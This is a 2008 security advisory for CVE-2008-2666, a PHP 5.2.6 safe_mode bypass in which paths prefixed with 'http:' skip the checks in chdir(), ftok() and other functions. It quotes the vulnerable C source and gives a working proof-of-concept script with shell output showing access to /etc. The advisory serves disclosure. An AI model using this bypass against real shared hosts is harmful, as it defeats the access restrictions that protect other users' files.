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PHP 5.2.6 chdir(), ftok() (standard ext) safe_mode bypass
From: "Maksymilian Arciemowicz" <cxib () securityreason com>
Date: Wed, 18 Jun 2008 20:06:31 +0200

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[PHP 5.2.6 chdir(),ftok() (standard ext) safe_mode bypass ]

Author: Maksymilian Arciemowicz (cXIb8O3)
securityreason.com
Date:
- - Written: 10.05.2008
- - Public: 17.06.2008

SecurityReason Research
SecurityAlert Id: 55

CVE: CVE-2008-2666
CWE: CWE-264
SecurityRisk: Medium

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/55
Vendor: http://www.php.net

- --- 0.Description ---

PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of 
unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically 
generated pages quickly.

chdir ? Change directory

SYNOPSIS:

bool chdir  ( string $directory  )

http://pl.php.net/manual/en/function.chdir.php


ftok ? Convert a pathname and a project identifier to a System V IPC key

SYNOPSIS:

int ftok  ( string $pathname  , string $proj  )

http://pl.php.net/manual/en/function.ftok.php

!!! WARNING !!!
IT IS POSSIBLE TO EXPLOIT MORE FUNCTIONS WITH http: PREFIX. SECURITYREASON WILL NOT LIST ALL VULNERABLE FUNCTIONS

- --- 1. chdir(), ftok() (from standard ext) and more safe_mode bypass ---
Let's see to chdir() function 

- ---
PHP_FUNCTION(chdir)
{
        char *str;
        int ret, str_len;
        
        if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &str, &str_len) == FAILURE) {
                RETURN_FALSE;
        }

        if ((PG(safe_mode) && !php_checkuid(str, NULL, CHECKUID_CHECK_FILE_AND_DIR)) || php_check_open_basedir(str 
TSRMLS_CC)) {
                RETURN_FALSE;
        }
        ret = VCWD_CHDIR(str);
        
        if (ret != 0) {
                php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s (errno %d)", strerror(errno), errno);
                RETURN_FALSE;
        }

        RETURN_TRUE;
}
- ---

str is beeing checked by safe_mode
example:

- ---
Warning: chdir(): SAFE MODE Restriction in effect.  The script whose uid is 80 is not allowed to access / owned by uid 
0 in /www/mb/mb.php on line 8
- ---

in current directory, we should create subdir "http:". => it is possible to create chdir("http://../../../../../../";)
and we are in /

Why?

TRUE==((PG(safe_mode) && !php_checkuid(str, NULL, CHECKUID_CHECK_FILE_AND_DIR)) || php_check_open_basedir(str 
TSRMLS_CC)))

for
str="http://../../../../../../";

safe_mode will ignore all paths with http://

that same situation with ftok() function (and more)

- ---EXAMPLE1---
cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("/etc/");
echo getcwd()."\n";
?>
cxib# ls -la /www/wufff.php
- -rw-r--r--  1 www  www  62 Jun 17 17:14 /www/wufff.php
cxib# php /www/wufff.php
/www

Warning: chdir(): SAFE MODE Restriction in effect.  The script whose uid is 80 is not allowed to access /etc/ owned by 
uid 0 in /www/wufff.php on line 3
/www
cxib#
- ---/EXAMPLE1---

- ---EXAMPLE2---
cxib# ls -la /www/wufff.php
- -rw-r--r--  1 www  www  74 Jun 17 17:13 /www/wufff.php
cxib# ls -la /www/http:
total 8
drwxr-xr-x   2 www  www   512 Jun 17 17:12 .
drwxr-xr-x  19 www  www  4608 Jun 17 17:13 ..
cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("http://../../etc/";);
echo getcwd()."\n";
?>
cxib# php /www/wufff.php
/www
/etc
cxib#
- ---/EXAMPLE2---

!!! WARNING !!!
IT IS POSSIBLE TO EXPLOIT MORE FUNCTIONS WITH http: PREFIX. SECURITYREASON WILL NOT LISTS ALL VULNERABLE FUNCTIONS

- --- 2. How to fix ---
Do not use safe_mode as a main safety

- --- 3. Greets ---
sp3x Infospec schain p_e_a Chujwamwdupe

- --- 4. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl
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